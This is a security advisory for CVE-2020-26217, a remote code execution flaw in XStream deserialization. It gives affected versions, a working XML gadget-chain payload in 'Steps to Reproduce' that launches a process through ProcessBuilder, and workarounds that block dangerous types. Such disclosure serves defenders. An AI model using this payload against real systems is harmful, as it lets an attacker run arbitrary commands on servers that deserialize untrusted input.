## Vulnerability

CVE-2020-26217: XStream can be used for Remote Code Execution.

## Affected Versions

All versions until and including version 1.4.13 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist.

## Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that can execute arbitrary shell commands.

This issue is a variation of CVE-2013-7285, this time using a different set of classes of the Java runtime environment, none of which is part of the XStream default blacklist. The same issue has already been reported for Strut's XStream plugin in CVE-2017-9805, but the XStream project has never been informed about it.

## Steps to Reproduce

Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

    <map>
      <entry>
        <jdk.nashorn.internal.objects.NativeString>
          <flags>0</flags>
          <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
            <dataHandler>
              <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                <contentType>text/plain</contentType>
                <is class='java.io.SequenceInputStream'>
                  <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                    <iterator class='javax.imageio.spi.FilterIterator'>
                      <iter class='java.util.ArrayList$Itr'>
                        <cursor>0</cursor>
                        <lastRet>-1</lastRet>
                        <expectedModCount>1</expectedModCount>
                        <outer-class>
                          <java.lang.ProcessBuilder>
                            <command>
                              <string>calc</string>
                            </command>
                          </java.lang.ProcessBuilder>
                        </outer-class>
                      </iter>
                      <filter class='javax.imageio.ImageIO$ContainsFilter'>
                        <method>
                          <class>java.lang.ProcessBuilder</class>
                          <name>start</name>
                          <parameter-types/>
                        </method>
                        <name>start</name>
                      </filter>
                      <next/>
                    </iterator>
                    <type>KEYS</type>
                  </e>
                  <in class='java.io.ByteArrayInputStream'>
                    <buf></buf>
                    <pos>0</pos>
                    <mark>0</mark>
                    <count>0</count>
                  </in>
                </is>
                <consumed>false</consumed>
              </dataSource>
              <transferFlavors/>
            </dataHandler>
            <dataLen>0</dataLen>
          </value>
        </jdk.nashorn.internal.objects.NativeString>
        <string>test</string>
      </entry>
    </map>

    XStream xstream = new XStream();
    xstream.fromXML(xml);

As soon as the XML gets unmarshalled, the payload gets executed.

In a similar, but simpler scenario the javax.imageio.ImageIO.ContainsFilter is injected into an java.util.Iterator instance and the payload is executed as soon as the iterator's next method is called.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

## Impact

The vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed input stream.

## Workaround

As recommended, use XStream's security framework to implement a whitelist for the allowed types.

Users of XStream 1.4.13 who want to use XStream default blacklist can simply add two lines to XStream's setup code:

    xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
    xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });

Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from scratch and deny at least the following types: javax.imageio.ImageIO$ContainsFilter, java.beans.EventHandler, java.lang.ProcessBuilder, java.lang.Void and void.

    xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
    xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });

Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:

    xstream.registerConverter(new Converter() {
      public boolean canConvert(Class type) {
        return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type == java.lang.Void.class || void.class || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || Proxy.isProxy(type));
      }

      public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        throw new ConversionException("Unsupported type due to security reasons.");
      }

      public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
        throw new ConversionException("Unsupported type due to security reasons.");
      }
    }, XStream.PRIORITY_VERY_HIGH);

## Credits

Chen L found and reported the issue to XStream and provided the required information to reproduce it. He was supported by Zhihong Tian and Hui Lu, both from Guangzhou University.